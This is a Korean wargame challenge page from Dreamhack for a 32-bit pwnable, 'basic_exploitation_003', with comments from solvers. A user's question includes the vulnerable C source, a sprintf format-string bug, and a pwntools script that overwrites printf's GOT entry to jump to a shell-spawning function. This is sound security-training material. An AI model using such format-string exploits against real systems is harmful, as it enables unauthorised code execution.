LEVEL 1

basic_exploitation_003

pwnable
  • 문제 정보
  • 풀이 95
  • 난이도 투표 43
  • 질문 10
  • 최근 풀이자 1609
  • 댓글 77

문제 설명

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_003)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Reference

Return Address Overwrite

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Racrua
Closed Beta Tester
출제된 지 22시간 만에 풀이 완료!

난이도 투표 43

질문 10

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
[got overwriting, FSB] system("/bin/sh")에서 터집니다
ubuntu 16.04에 파이, 카나리 해제되어있는 문제입니다. #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } int main(int argc, char *argv[]) { char *heap_buf = (char *)malloc(0x80); char stack_buf[0x90] = {}; initialize(); read(0, heap_buf, 0x80); sprintf(stack_buf, heap_buf); printf("ECHO : %s\n", stack_buf); return 0; } 아래와 같이 익스 코드를 작성했습니다. from pwn import * context.arch = "i386" context.log_level = 'debug' get_shell_addr = 0x0804867b #134514299 printf_plt = 0x8048460 printf_got = 0x804a010 libc_start_main = 0xf7e1b647 p = remote("host3.dreamhack.games", 20584) p = remote("localhost",----) sleep(5) print(proc.pid_by_name("docker_basic_exploitation_003")) pause() fstring = p32(printf_got) fstring += p32(printf_got+1) fstring += p32(printf_got+3) fstring += b'%111x%6$n%1035c%7$n%2946c%8$n' #앞에 4바이트 포함 p.sendline(fstring) pause() p.interactive() 이에 다음과 같이 got overwriting을 성공한 걸 볼 수 있습니다 got overwriting si로 진입하면 get_shell로 흐름이 바뀝니다. image.png 하지만 system("/bin/sh")에서 터집니다. image.png 로컬 디버거뿐만 아니라 원격지에서도 터지는 것을 보니 exploit code에 문제가 있는 것 같은데 이유를 잘 모르겠습니다. 도와주시면 감사하겠습니다..!
avatar cityofwonder

최근 풀이자 1609

melaluca
대표 업적 없음
증면기
대표 업적 없음
01sch
대표 업적 없음
adsa
대표 업적 없음
cwae4027
대표 업적 없음
t0m3y
대표 업적 없음
dretoh
대표 업적 없음
avatar
babo0221
대표 업적 없음
unknownuzer
대표 업적 없음
땅지 구름운
대표 업적 없음

댓글 77

avatar
TAFKA
워게임: 50
Segmentation fault
avatar
스카이넷
워게임 고인물
ez
avatar
is07king
워게임: 1
hard
sinse100
대표 업적 없음
nice
avatar
Ox0ne
대표 업적 없음
개념만 이해했으면 쉬움
avatar
LinuxBudu
플래툰
sprintf를 조심해야되는군요. 좋은문제이면서 공부가 되는 문제였습니다!
하헌진
대표 업적 없음
어려워용
anous
대표 업적 없음
와... 어려웠지만 알고나면 단순하네요.
avatar
sanghyuck.na
대표 업적 없음
이번건 쉬웟당ㅋ
롤창일생
댓글 작성: 1
진짜 어렵다